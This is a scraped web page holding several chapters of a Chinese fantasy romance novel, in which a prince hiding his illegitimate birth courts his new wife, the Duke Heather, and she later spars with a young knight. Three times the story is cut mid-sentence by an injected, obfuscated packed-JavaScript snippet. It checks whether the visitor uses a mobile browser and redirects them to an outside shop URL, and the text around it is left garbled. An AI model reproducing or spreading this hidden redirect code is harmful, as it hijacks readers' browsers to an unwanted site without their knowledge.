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“按照《阿斯克②记》的描述,冥界位于世界诞生前的原始深渊,充斥着空虚、液态火和灰绿色的瘴气,唯有漂浮在深渊之上的安息福地是个例外,因为那里是为功绩不足以进入英灵殿堂,但依然在生前奋勇拼杀的战士们所准备的居所,在暗无天日的死亡国度算是一处仙境。” “即使是神明,也无法与死亡为敌。为了避免自己的灵魂被深渊蚕食殆尽,亚尔夫才不得不主动向赫里希求婚,希望自己可以进入安息福地生活……一切都是情势所迫,并非是因为爱情。” 他看着希瑟有些出神地望向窗外,思绪貌似已经飘向了远方:“真傻……如果我是赫里希,就不会强行留下亚尔夫。亚尔夫心中明显还眷恋着尘世间的美好,何必将一个不爱自己的人囚禁在身边呢。” “也、也不用这么悲观!”瑟洛里恩本能地想要安慰她,“哪怕一开始是出于功利的目的,等他们结婚之后,亚尔夫也许就会渐渐真心爱上赫里希了呢?” 话音落下的瞬间,他才恍然意识到自己刚才究竟说了什么——该死,那种古怪而脆弱的情绪又卷土重来了。瑟洛里恩这辈子绝大多数时间都很惜命,但他现在很想打开窗户跳下去。 他感到很不好意思,甚至很羞耻,不光是因为他好像在不经意间说出了某种暗示般的情话——应该说,这本来是他想要的效果,现在的场合反而刚好可以圆回他最初的计划,他完全可以趁此机会诵读几句浪漫的爱情诗,将情绪烘托至高潮,没有比这更好的时机了。 然而,此刻瑟洛里恩的内心却混合着羞涩和难堪。 他自以为见惯了世间的人情冷暖,早就不再期待能从他人那里获得感情上的回报,而这种看似冷酷的心态,却在一个相识才几天的人面前动摇了,这让他感觉自己很蠢,很可笑……就好像他只不过是一个自诩成熟,实则幼稚得要命的小鬼,嘴上说着不会付出真心,其实别人只要对他稍微好一点,他就像条狗一样开始摇尾巴了。 不过,这种羞赧的情绪仿佛一种传染病,很快也出现在了希瑟的脸上——很好,知道不只有自己一时失言多少还是让瑟洛里恩心里好受了一点——退一万步来说,至少他不是这里唯一的傻瓜了。 “对了,今天的猪肋排很嫩……” 刚说完,瑟洛里恩就想给自己一耳光……唉,要是刚才没拒绝那杯葡萄酒就好了,他现在真的很想把自己灌醉。 “是啊,老维特今晚已经超越了自己,有理由给予嘉奖……”希瑟的声音听起来像是从喉咙里硬挤出来的——自从见识过对方在书里流畅的行文后,瑟洛里恩知道这种说话跟梦游似的情况对她而言并不常见。 他们就在这尴尬的沉默中结束了晚餐。唯一的慰藉是餐后的莓果奶油派,瑟洛里恩起初吃得很节制,但后来发现希瑟似乎对奶油派不感兴趣,才偷偷放纵自己吃掉了大半个。莓果的酸甜和奶油的甜蜜溢满唇齿,他在新婚晚宴上就为之深深着迷,第二次品尝时心中依然充满了幸福。 离开城堡大厅后,瑟洛里恩小声表示自己想先去一趟公共浴池——其实卧室的浴室也可以洗澡,但他想在回卧室前先整理一下思绪。 希瑟显然也想冷静一下,没有提出任何疑问。 虽然名曰“公共浴池”,但瑟洛里恩从未在这里见过第二个人。他步入浴池,本想在氤氲的蒸汽里慢慢舒展身体,却忍不住一头扎进池水里,仿佛自我惩罚般地在里面闷了好一会儿。 ……不行,他接下来还有正事要做,没时间继续自暴自弃了。 无论如何难以启齿,但他计划的最终目的是为了勾引希瑟上床。 虽然他从小到大经常遭到别人的骚扰,可那些都是被动的情况,这是他第一次主动利用肉體引诱别人。他既不知道自己究竟应该做什么,也不知道希瑟会对此作何反应。 他该装得无辜一点吗?像是那种不知道自己天生丽质的清纯美少年……又或者他应该表现得更加肉/欲?但这要如何展现呢?瑟洛里恩见过一些看到姑娘的白胳膊就开始流口水的男人,他感觉那样怪傻的,希瑟多半也不会喜欢。 越是思考,他就越是紧张……最后,瑟洛里恩重重地叹了口气,第二次把脸扎进了浴池里。 天啊,他干脆淹死在这里好了。 7. 第七章 回到卧室后,瑟洛里恩看到的景象和昨晚没有什么不同——希瑟依旧穿戴整齐地坐在窗边,专心致志地读着那本诗集,不久前晚餐时那种奇妙而暧昧的氛围已经消失无踪了。 显然,他的妻子今晚也不打算到床上睡觉,更别说是睡他了。 希瑟重新疏离起来的态度再次唤醒了他的危机感,也让先前那点残存的羞怯和内疚瞬间消弭了。期待对方忽然回心转意明显是不现实的,他必须把主动权握在自己手里。 “我在黑暗中里倾听了多少次,我几乎爱上了静谧的死亡,我在诗思里用尽了我言辞,求他将我的一息散入空茫……①”当希瑟稍显惊讶地看向他时,瑟洛里恩努力露出了这辈子最无辜的笑容。 她的视线没有立刻移开——不同于传闻中那种粗鲁的刻板印象,凯洛公爵其实是一位相当有教养的人,会在与人交谈时注视对方的眼睛。 这很好,方便他展开接下来的计划。 当瑟洛里恩将手伸向皮带扣时,心中涌现出了几分赧意。他尽可能地说服自己不去在意这些,然后卸下皮带,脱下羊毛外套,露出下面洁白的丝绸衬衣……尽管这些都是很寻常的动作,只是速度稍稍放慢了,但他还是忍不住感到羞耻,就好像自己在做什么下流的表演。 幸好房间里光线昏暗,希瑟应该看不出他内心的窘态……一想到她有可能把他当作是什么下贱的人,他就莫名感到一阵难过。 在做完这一切后,瑟洛里恩偷偷松了口气,但面上还是端着矜持的微笑:“抱歉……你不在的时候,我实在按捺不住好奇,偷偷翻看了你的书。” “没关系。”希瑟笑了笑,“好的文字永远值得被更多人欣赏。” 对方坦然的语气让他颇有些不自在,下意识地拨了拨胸口的一缕头发。 看到他的动作,希瑟似乎突然想起了什么,问道:“如此长的秀发,日常生活会不会不太方便?” 瑟洛里恩以前的头发确实没有那么长,是阿利斯特加冕他为亲王后,亲口勒令他把头发留长的。 至于原因嘛,他也不是很清楚,大概是时下的贵族比较流行这么做吧。 瑟洛里恩对发型没什么坚持,但头发留长后的确多了不少麻烦。比如看书的时候,他的额发总是会滑落下来挡住眼睛,用餐时一旦稍有不慎,发梢就会浸到热汤里……好在这些也不是不能忍受,而且今晚至关重要,他可不能像晚餐时那样被希瑟的话带着跑了。 “是有一点,不过我已经习惯了,比起这个……” 话音未落,他看见希瑟拿起了桌上的天鹅绒盒子——那个盒子一直都在那里吗?可能是刚才太过紧张的缘故,他居然完全没有发现。 “希望这能对你有所帮助。” 希瑟打开盒盖,里面是一条墨绿色的缎带。 瑟洛里恩一生中很少有机会收到礼物(野猫送的死老鼠不算),一时有点不知道该如何反应,只能呆若木鸡地站在原地。 片刻过去,对方收敛了微笑,试探性地问道:“不喜欢吗?” “不、不是的!”他的大脑一片混乱,仿佛有一百个脚趾磕到桌角的人同时在他脑袋里嚎叫,“谢……谢谢……” 他想要挤出更多真诚的感谢,然而混沌已经彻底吞噬了他的思考能力,只有一个头昏脑涨的小结巴艰难地控制着他不太听话的舌头:“因、因为,我……我没能继承王族传统的浅金发色,很多人对我有非议……所以我不太爱管头发方面的事情……” 过了好几秒,瑟洛里恩才终于清楚地意识到自己刚才究竟说出了多么可怕的话,脸庞顿时失去了血色——他的膝盖发软,胃袋紧缩,整个世界都开始天旋地转。他不明白自己为什么能像疯了一样把这样性命攸关的东西轻易说出去,偏偏还是在希瑟本人面前。 当希瑟站起来的时候,他下意识地退后了一步,唯恐她伸手扼住他的脖子。随着对方映在地上的阴影缓慢蚕食他,他感觉自己的心跳几乎要停止了。 “是吗?我认为它们很美,并不逊色于浅金。”他听见希瑟如此说道,“如果一棵玫瑰的种子在黄金的土壤里生根发芽,最后盛开时或许就是这样的颜色吧。” 听到她的话,瑟洛里恩骤然生出一股被打碎,被击溃的恍惚感……随之是晚餐时那种古怪的脆弱,那种酸甜交织,又有点发涩的感觉,比之前的任何一次都要强烈。 他的喉咙紧绷,忽然有种想要哽咽的冲动,但不(完全)是因为难过,而是某种微妙的不甘心,就好像一名蓄势待发、全副武装的骑士被对手一击就扫下了马。他感到很羞耻,只想躲到毯子下把自己蜷缩成一团。 刹那间,他的内心涌现出无数复杂的情绪,他的脑海中闪过了千言万语,但当他开口时,最终只剩下了羞怯的嚅嗫:“谢、谢谢……第一次有人这么说……” “你还好吗?”希瑟忧虑地看着他——瑟洛里恩发现她起先似是想伸手扶住他,但终究没有这么做,“你看起来很疲倦。” 瑟洛里恩确实有点喘不上气,有那么一会儿,他的眼前甚至泛起了白光,差点当场失去意识……难怪人们都说情绪大起大落会让人减寿。 晕眩感淡去之后,他感觉浑身筋疲力竭,方才缓慢脱下衣物的过程也失去了其表演性质,因为他现在真的很想倒在床上蒙头就睡:“没事,可能是我下午在藏书馆看了太久的书……” 希瑟对此表示理解:“那就请先休息吧,不必以我为念。” 眼见她又要坐回窗边,瑟洛里恩本能地拽住了她的袖子。 “瑟洛里恩?” 面对希瑟疑问的目光——可能是因为精神上太过疲惫,也可能是对方刚才彻底击碎了他的心理防线,瑟洛里恩逐渐有点藏不住自己的本性了:“为什么你能表现得像是什么都没发生过?” “……什么?” “你不能在说了那些话之后又自然而然地坐回去!”他破罐破摔道,“你就像是——像是那种四处流浪的雇佣骑士!在磨坊主的家里借宿,然后偷偷睡他的女儿,蜜里调油的时候许诺会让她当自己的妻子,结果第二天清早就穿上马裤,拍拍屁股溜之大吉,留我一个人在仓库里,不知道肚子里有没有怀上你的种,像个傻瓜一样!” “冷静,瑟洛里恩。”希瑟慎重地回应,“如果我刚刚有哪里让你感觉受到了冒犯,我可以道歉。” 然而她越是这样,瑟洛里恩就越是抓狂— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054155|149120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —因为这明明是希瑟的错!是她先说了那种让人心烦意乱的话,害他方寸大乱,但眼下的情况又像是他在单方面地耍脾气一样。 “你先是送了我礼物,然后称赞了我的头发,再然后——再然后你就走了?!”他又开始语无伦次了,“你不能这样,这样……这样太过分了!” 这一次,希瑟没有回答,而是静静地看了他一会儿。 瑟洛里恩起初很生气,但被她这样看久了,内心的羞赧又悄悄占据了上风。 “你希望我和你睡在一起吗?”她问道。 他没料到对方会这样直接点破他的心事,先前的气势霎时荡然无存,像是个被戳破的泡泡一样软了下来:“不、不行吗……” 希瑟叹息一声,那双绿眼睛里闪过了一丝他无法领会的伤感。 “我没有为你付出那么多,瑟洛里恩。”她说,“是的,我送了一条缎带给你,可这不算是多么贵重的礼物……事实上,你只是习惯于将他人的善意看得太重。这点微末的馈赠,并不值得你用自己作为报答。” 闻言,瑟洛里恩心里一颤,右手不禁微微松开,但在希瑟离开前又重新抓紧了她的袖子。 在对方无奈又困惑的目光下,他就像是做错了事的孩子一样盯着自己的脚尖:“如果我坚持呢?” 希瑟摇了摇头:“你只是感动,瑟洛里恩,但这不代表你真的想要和我在一起。” 他不知该如何反驳,但又莫名不想放手,只能这样倔强地低着头一言不发。 良久,他的妻子终于叹了口气——瑟洛里恩从中听出了屈服的意味:“罢了,逃避确实不是解决问题的方法。”她看着他,“如你所愿,今晚我会在床上过夜。若是今晚过后,你心中后悔,又羞于向我开口,只需要把我夹在书里的书签拿出来,我看到之后就会明白了。” 谁会把别人的书签拿走啊,扰乱人家看书的进度,太没公德心了……不过这些话说出来未免太破坏气氛了,他只好在心里默默抱怨一句。 等瑟洛里恩躺到床上后,希瑟先是吹灭了蜡烛,随后才脱掉束腰外衣。不过借着稀薄的月光,他还是能看清她并未身着女性贵族常穿的睡裙,取而代之的是一件朴素的亚麻长衫。她脱下马裤的时候,瑟洛里恩情不自禁地盯着她强壮的大腿,一看就知道是经常骑马的人。 希瑟向床头走来时,他本能地闭上了眼睛,假装要睡觉,可当她在他身边躺下,左边的床塌因为她的重量而下陷时,他的心里又默默紧张起来。 不知过了多久,瑟洛里恩始终没能等到其他动静,忍不住侧过头窥视妻子的情况。 事实证明,希瑟睡觉时也很有凯洛公爵的感觉。她的身体正面朝上,双手叠放在肚腹上,给人以一丝不苟的感觉。瑟洛里恩很好奇她是不是做什么事情都是这样一副如临大敌,严阵以待的样子。 但无论如何,她今晚应该是不打算对他做什么了。 想到这里,瑟洛里恩无缘无故地有点不爽,翻了个身背对着她。 不过那点不爽来得快,去得也快,很快他又乐观起来——至少他今晚的目的达成了一半,也不算是颗粒无收了。 于是他又翻身睡了回去。 8. 第八章 黎明时分,瑟洛里恩迷迷糊糊地醒了过来,感觉身旁似乎有什么细微的动静。 “抱歉,是我吵醒你了吗?” 瑟洛里恩很想回答,但他太累了,连续两天没睡好觉令他感到疲惫不堪,耗尽全身的力气也只是让眼睛睁开了一点缝隙。视线中有一个朦胧的身影,背光而立,看不清面孔,但是莫名地让人安心。 对方低声道:“不用在意我,继续睡吧。” 他意识昏沉地点了点头,就这样陷入了黑甜的梦乡。 当瑟洛里恩再次醒来时,床边已然不见希瑟的踪影,若非床单和被褥上还留有人躺过的痕迹,他都快以为昨晚发生的事情只是一场梦了。 不过说起昨晚……他下意识地四处探寻起来,最终在窗边的茶桌上看见了那个天鹅绒盒子,不由得松了口气。 以防万一,他还是下床打开盒子亲眼确认了一下——很好,那条墨绿色的缎带也在,昨天晚上他没有做梦,一切都是真的。 瑟洛里恩暗自庆幸,同时又有一丝说不清道不明的羞赧浮上心头,末了又觉得自己有点蠢,甚至对自己有些恼火。说到底,昨晚并没有真的发生什么,而且希瑟对谁都很好,就连几百里开外随便一家客栈的老板都知道凯洛公爵是个好人……所以把你脑袋里那些惹人发笑的想法赶出去,傻瓜! 他坐在梳妆台前,用缎带将头发束起来,微风拂过后颈皮肤的凉意使他感到一阵清爽。 瑟洛里恩对着银镜左看右看,感觉很新鲜。幸亏女仆听见了卧室里的动静,及时敲门询问,否则他一早上的时间就要浪费在这种毫无意义的事情上了。 白盔堡的仆从似乎没有服侍主人穿衣的习惯,只是将折叠整齐的干净衣物放在床柜上。这对于其他贵族而言可能是一种怠慢,但瑟洛里恩对此非常庆幸,他不喜欢被陌生人触碰身体。 “希瑟去哪儿了?” “公爵大人有晨间锻炼的习惯,现在应该在校场。”仆从恭敬地回答。 其实他们新婚才不过三天,她就算再缺席一周,大家也会表示理解。不过,这种对自己近乎严苛的自律也很符合希瑟给人的一贯印象,她确实是个表里如一的人。 梳洗完之后,他照旧跑去了藏书馆,旁敲侧击地询问蕾贝卡馆里还有哪些丛书属于北境百科全书系列——其实他主要是想知道还有哪些书是由希瑟参与创作的,但这么问就太直白了。 然而听到他的问题,蕾贝卡露出了迷茫的表情:“实在抱歉,殿下,我也不是很清楚。” “你不是藏书馆员吗?” “我只看过医药学相关的书籍。”蕾贝卡回答,“而且我两年前才来投奔布琳迪丝姑母,一年前才被任命为这里的管理员,恐怕我对藏书馆的了解并没有您想象中那么深。” 噢,是那种术业有专攻型的学者……等等,布琳迪丝姑母? “布琳迪丝女士是你的姑母?”瑟洛里恩试探性地问道,“她也和你一样才来白盔堡工作没几年吗?” “不,姑母已经为凯洛家族服务很久了,她是公爵大人和伊薇特小姐的乳母。” 布琳迪丝是希瑟的乳母?真令人意想不到……话说这姑娘可真是心地淳朴啊,简直就像一个装满黄金的筛子,不经意间就会漏出几块碎金。瑟洛里恩决定以后多来摇一摇她,看看她还能随口说出什么至关重要的情报。 虽然没能得到蕾贝卡的帮助,但通过前公爵夫人的后记,他已经知道了另外两个系列的名字,要找到它们并不难。大约不到半个小时,他就找齐了《诗集》和《食物》的相关书籍。 按照后记上提及的撰写顺序,百科全书系列依次为《诗集》、《食物》和《工艺》,可以看出书的内容在整体上是越来越趋于实用性的。 瑟洛里恩推测前公爵夫人最初应该只是想汇编一些诗词作品作为孩子们的启蒙书,后来才决定将书的内容从单纯的文学扩展到各个领域。 他完全可以理解这种心情——每个学者心里都住着一个魔鬼,鞭笞着他们去观察、去探索、去思考这个世界。如果他们没能把这些思考落笔到纸上,让它们被载入真理的殿堂,他们的心是一刻也安宁不下来的。 话虽如此,瑟洛里恩还是觉得《百科全书》这个主题实在太过宏大了,即使前公爵夫人健康长寿,并且顺利活到了一百多岁,也不见得能完成这样鸿篇巨制。她注定只能为这本书开篇,而这本书的结尾则需要无数后人用他们的智慧去补全。 瑟洛里恩摇了摇头,将那些多余的心绪抛之脑后,打开了《诗集》的第一册。 在《诗歌之美Ⅰ》里,他发现了第四个人的字迹——根据时间和年龄,他推断这些字可能出自英格丽王后之手。她的字迹与前公爵夫人最为相似,但笔锋更加厚重,很符合人们对她性格敦厚稳重的印象。 诗集的选篇很不错,足以看出前公爵夫人在文学方面的高雅品味,但书里的大部分内容他在王都的时候就读过了,而且这个时候希瑟应该还很年幼,尚未成为母亲的小帮手。 于是瑟洛里恩直接读起了《食物》系列。相比前作,这个系列的厚度整整翻了三倍有余,且不同于单纯的美食鉴赏,书中详尽地介绍了当地会形成这种饮食习惯的原因,重点讲述了食材的获取和处理(并且附上了图解),甚至还包括食物中毒后应该如何处理。 另外,也是从这个系列开始,书本上出现了漂亮的边页装饰,不过插画依然由前公爵夫人亲手绘制(至少第一本是这样,不知道后面如何),当时的希瑟应该刚开始学习绘画……瑟洛里恩脑海中浮现出一个红发碧眼的小女孩伏在桌前,小心翼翼为图案勾边的画面,不禁莞尔。 谁能想到这双用来握画笔的小手,长大之后会拿着战斧呢? 瑟洛里恩起初想直接跳到希瑟参与更多的部分,但不得不承认前公爵夫人的写作风格实在太有趣了,让人很难忍心略过。 显然,前公爵夫人始终都在避免让整本书读起来过于晦涩,绝大多数篇幅的内容都是短句,而且用词简单易懂,读起来朗朗上口,中间还夹杂着不少风趣幽默,用来缓解阅读疲劳的小故事。 不仅如此,她还在书中多次调侃自己,表示自己身为本书的作者,却完全不会下厨,实在是有失治学之风范。 例如有一次秋季围猎,她终于鼓起勇气,决定亲自处理一条活鱼。结果刚上手就被鱼甩了一尾巴,还差点让它从砧板上溜走。 “感谢上苍,拉格纳及时抓住了它,没有让它跳进河渠里逃走。”她如此写道,“最后是英格丽处理了那条鱼。她一边剁掉鱼的脑袋,一边对我说‘母亲,请看我为您报仇!’,西格德也在旁边起哄,‘母亲,请看我用水煮死这条可恶的鱼!’,令我哭笑不得。” 在故事的结尾,她提到了希瑟——这也是希瑟的名字第一次在百科全书中被正式提及。 “我亲爱的小希瑟也来安慰我,说她和我一样不擅长处理鱼。其实她才七岁呢,根本不需要知道这些,但我仍不禁为这孩子纯真的善意而感动……” 他翻到了下一页。 “结果第二天下午,我就在河边看见她熟练地用匕首剖开鱼腹,取出它们的内脏。”前公爵夫人烦恼又甜蜜地感慨道,“唉……希瑟,我可爱的希瑟,从小就懂得如何兜售善意的谎言。” 看到这里,瑟洛里恩忍不住轻声笑了起来。 然而笑完之后,他忽然很想了解更多关于希瑟过去的故事,但又一时想不到自己可以找谁。 黎塞留知道的情况恐怕还不如他,布琳迪丝是那种他不太擅长应付的严厉长辈,至于伊薇特…… 客观而言,她确实是最合适的人选,不过瑟洛里恩莫名有点不想接近她。诚然,他很感谢对方昨日没有出席晚餐,给了他和希瑟单独相处的时间,但要他私下主动去和她攀谈又是另一回事了。 “殿下。” 瑟洛里恩抬起头,发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但瑟洛里恩一时还没办法下定决心——即使是在他最落魄、最绝望的时候,也没想过要夺走别人的性命,这对于他并不容易。 不过,这种道德上的负担在见到伍洛德以后就消减了不少……自新婚典礼过后,他就再也没有见过对方,都快忘记这个大嘴怪究竟有多么讨人嫌了。 “怎么这么慢?!”一见到他,伍洛德就大发脾气,“你知道我在这大雪天等了你多久吗?” 瑟洛里恩翻了个白眼:“我可没要求你这么做。” “哈,有了靠山之后连脾气都变大了。”对方讥讽道,“幸亏你也只需要派上这点用场,好好当一个婊子服侍好凯洛公爵,软化她对王室的态度,绝对不准泄露你的真实身世。但凡出了任何纰漏,你就等着上火刑架吧。” 这点讽刺对他而言不算什么,瑟洛里恩听过远比这更难听的话,几乎贯穿了他的一生。在他知道什么是自尊之前,他就已经学会了如何对他人的羞辱保持麻木。 然而…… 可能是因为这几天和希瑟相处融洽,让他多了几分安全感,也可能是因为对方即将离开北境,再也管不到他了,他竟然有胆量对伍洛德反唇相讥:“那有什么不好?反正我死之后,你很快也会步我的后尘,指不定我们的国王陛下为了节省木柴,会把我们安排在一起烧呢?有你作伴,我也不怕在地狱里感到寂寞了。” “你——” “你以为自己是什么大人物吗?”瑟洛里恩嗤笑一声,“说到底,你不过是阿利斯特身边的一个宫廷小丑。若他开心,就赏你一个笑脸,若他不开心……恐怕你只会死得比我更快。” 大嘴怪气得脸色绀红——可是谁在乎呢?就连他自己都无力反驳,只能恶狠狠地丢下一句“贱种”,最后狼狈地逃进马车里。 看着伍洛德的马车消失在茫茫大雪中,瑟洛里恩渐渐冷静下来,先前那点报复的快意也淡去了,取而代之的是一种难以言说的愁绪。 来到北境之后的生活并没有他想象中那么糟糕。至于希瑟,尽管他还没有完全掌握和她相处的要诀,但迄今为止,和她一同生活的时光都很愉快,只是…… 假如有一天,一切都真相大白了,到时候他们的关系究竟会走向何方呢? 毕竟,瑟洛里恩·法比亚只是一个谎言。 私生子是没有姓氏的。 9. 第九章 希瑟习惯于比其他人早两小时开始晨间训练,一方面是为了兼顾领主的工作,另一方面也是为了错开时间,避免让校场的教头和见习骑士过于紧张。 所以当她来到校场的时候,并没有料到自己会遇见黎塞留。 “早安,希瑟大人。” “早安。”希瑟沉默了片刻,“距离训练开始还有很久,你是记错时间了吗?” “不,我确实是来训练的。”对方谦逊地答道,“兄长总是告诫我,我们和其他人并没有什么不同,如果想要成为优秀的骑士,就必须付出比常人更多的努力。” 希瑟赞赏地点了点头,布雷泽家族总能出现武艺超群的骑士不是没有理由的。 “请问……”黎塞留的目光滑落至她腰间,“那就是瓦哈拉剑吗?” “不错。”她取下佩剑,“想试一试吗?” 黎塞留双手接过剑:“它的护手看起来比一般的剑更窄。”他抽出剑刃,“剑身也更短,更宽……它是单刃的,这是训练专用的剑吗?” “不,大部分瓦哈拉剑都只开单刃。” “自从您在竞技大赛上大放光彩后,瓦哈拉剑曾经在王都流行过一段时间……可惜没能持续太久。”黎塞留将剑递还给她,“我当时还非常年轻,对那时的情况了解甚少,但据说许多人都掌握不了使用瓦哈拉剑的诀窍,最终放弃了。” 他说得很委婉,但希瑟知道实情——不同于单手和双手兼顾的骑士剑,瓦哈拉剑的剑柄太短,注定只能单手使用,而且必须向挥舞战斧一样劈砍,这种战斗方式在注重表演性的竞技大赛上显得不够美观,许多贵族嫌弃瓦哈拉剑用起来太过粗鲁,轻蔑地称之为“蛮刀”。 “语言是苍白的。”她拔出剑,兵刃的勇武只能用行动证明,“不妨让我展示给你看。” 闻言,黎塞留一下子睁大了眼睛,神情中多了一丝跃跃欲试:“烦请赐教。” 希瑟曾与他有过一次交锋,但当初对方还是一名青涩的新手骑士,身体的各项能力还未达到巅峰,经验也少得可怜,她不认为自己的胜利有什么值得夸耀的地方。 事实上,黎塞留·布雷泽确实有了脱胎换骨般的成长——四年前的比武竞技大赛上,他就像一匹小马驹,轻盈、迅捷、充满活力,可是性格莽撞,进攻太过冒进。当时希瑟就知道,这名年轻的天才必须尝到一场惨败,方可在日后走得更远。 当年的预感如今化为了现实。他变得更高,臂膀更加有力,并且更加谨慎。尽管不熟悉瓦哈拉剑的战斗方式,但黎塞留依然凭借对单手剑的应对经验接下了她的第一招——刀剑相击,发出哐当一声巨响,即使是剑身颤动留下的嗡鸣也足以使人牙齿发酸。 黎塞留用的是双手剑,无法用盾防护,只能以剑抵剑。刚才那一击可能让他的虎口发麻了,当希瑟再次进攻时,他的第二次招架显得有些迟缓,手臂下沉的幅度更大。 他咬紧了牙关,想要调整姿势与她抗衡。希瑟忍不住怒斥:“你在干什么?!你的指槽①呢?为何不用它卸我的力!” 黎塞留愣了一下,身体明显比大脑更快一步,本能地调整了剑身,利用指槽让她的剑刃滑至剑锷,旋转剑柄卸下她的攻击——动作不是很熟练,但还是顺利完成了。 锋刃划过钝金属时发出尖锐的声响,好似战马在嘶鸣,让希瑟心神激荡。她几乎用尽了自制力,才没有瞄准他左手的破绽挥剑砍向他的侧腰。黎塞留是一名好对手,想要不对他动真格实在太难了。 他后退一步,方便挥舞长剑——对方的臂展和剑身都比她长,这个距离于他有利。但单手剑此刻发挥了它的优势,希瑟用盾牌轻松挡下了这一击。 他没有停止攻击,最初的谨慎和试探过后,战斗的热情和常年锻炼留下的肌肉记忆开始接管身体。 “很好!很好!”她激励他,“上前来,逼迫我后退!不要靠蛮力,用你的剑锋!” 希瑟不再动剑,只是用盾牌格挡他的攻击。黎塞留出剑的速度很快,极少有使用双手剑的人能像他这样迅速,映照在剑身上的白光在视野中飞快闪烁,犹如跃动的光斑。在最初的慌乱后,他逐渐找到了攻击的节奏。即便是希瑟也不禁暗自赞叹他的天赋——难道布雷泽的血脉中真的流淌着骑士之血? 然而,为了捍卫瓦哈拉剑的荣誉,她可不会放任黎塞留就这样取得最后的胜利。 “你做得很好,孩子。”她毫不吝啬自己的称赞,同时重新架起了剑,“热身结束了。” 黎塞留是实力一流的骑士,因此希瑟不必像面对其他人那样顾虑他的安危。她用盾挡住了他的下一击,借用惯性将他的剑身推了出去。 这四年以来,黎塞留应该积累了不少经验——但仅仅是这样还不够,至少不足以让他在失去平衡后及时做出调整。当她挥剑劈向他时,支撑他做出反应的已经不再是肌肉记忆,更像是一种求生的本能——即使如此,这种本能也只能奏效一次。 当希瑟挥出第二剑时,剑刃划过了他的面颊,留下一道细长的伤痕。 第三剑,黎塞留勉强招架住了,几乎用尽了全身的力气,差一点握不住剑。他尝试用之前的方式卸掉她的力道,希瑟当然察觉到了,但她任由他这么做,以便他积累更多的经验。 黎塞留试图再次进攻——以他表现出的疲态而言,他的进攻速度意外地没有多少下滑——可惜希瑟早就判断出了他的下一步行动。她与无数强大的敌人战斗过,其中不乏命悬一线的瞬间。对方被逼至绝境的灵光一闪,只不过是她目睹过太多次的场面。 她没有闪避,没有格挡,只是向上挥砍,击中了他的剑身。刀剑相撞的瞬间,随着一声令人心惊胆战的巨响,黎塞留的剑柄脱手而出,银剑在半空中翻转了几圈,最终落在了远处的干草堆里。 希瑟收剑回鞘,但热血仍在她的体内沸腾:“失礼了。” 黎塞留站在原地,脸上一片空白,似乎还没有回过神。好一会儿过去,他才慢慢呼出一口气:“感谢您的赐教。” 希瑟看着他擦了擦脸上的汗,刚才的伤痕已经渗出了血珠,但他浑然不觉,仿佛没有意识到自己把血抹在了脸上,只是转身走去将剑捡起来。当他弯腰的时候,表情看起来还有些惊魂未定。 她忽然感受到了一阵迟来的内疚……刚才她是不是太认真了?居然对一个比自己小两岁的孩子下重手,实在是有失长辈的风范。 “瓦哈拉剑和骑士剑的使用方式确实很不一样。”黎塞留感慨道。 “瓦哈拉剑是由骑士剑演变而来的,只是根据纳维亚人的习惯进行了调整,比起长剑,更接近砍刀。”她解释道,“纳维亚人习惯用战斧,因为斧头既能作为武器,也可以用于砍树造船。” 不过瓦哈拉剑外观华贵,做工精良,大多数纳维亚战士即使不常用剑也会去专门定制一把,作为地位和荣耀的象征。 “这把瓦哈拉剑是您的佩剑吗?” “没错。” “相较于您的力量,它看起来好像有点轻。”黎塞留说,“以我个人之见,这把剑恐怕得再长三英寸才能符合您的需求。” 他说的不错,这把剑并不适合她,然而……这是西格德的佩剑,当时他才十七岁(并且永远停留在了这个年纪),力量上并不及她。希瑟留用它更多是出于纪念。 这些内情当然不适合向黎塞留吐露,她只好含糊其辞道:“这是……故人的遗物。而且我很少用剑,只是平日会保持练习。战场上风云变幻,熟悉的武器越多,在突发意外的时候就能有更多选择。” “原来如此。”黎塞留若有所思,“这么一说,虽然您在单人比武时的长枪技术也十分卓越,但果然还是团体赛中使用战斧时的英姿更令人印象深刻。” 对方恳切的语气和敬仰的目光让希瑟有些不好意思,不过她的注意力很快又转移到了他的长剑上——剑柄的护手并非骑士剑常见的十字形,末端微微弯曲,整体呈弧形,有如弦月,可能是为了方便用剑柄格挡而特意设计的。柄尾球上雕刻着象征布雷泽家族的三瓣百合花。 虽然希瑟对于这种弧形护手究竟能对格挡起到多少作用抱有怀疑,但长剑整体精美的做工是无可挑剔的。任何一个对兵刃有点鉴赏水平的人,在看到这把剑时都会不由得露出微笑。 黎塞留看到她笑了,有些迟疑地问道:“我的剑有哪里让您发笑吗?” “不,只是觉得这是一柄难得的好剑,打造它的工匠一定非常优秀。” 听到她的称赞,黎塞留有点害羞地笑了:“这是兄长送给我的成人礼——噢,我说的是二哥克莱蒙梭爵士,他曾在四年前与您交过手,不知道您是否还记得他。” 希瑟当然记得克莱蒙梭,既是因为他实力出众,也因为他是王族的贴身护卫,曾多次保护英格丽不受歹毒之人的危害。 不仅如此,在阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054157|149120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 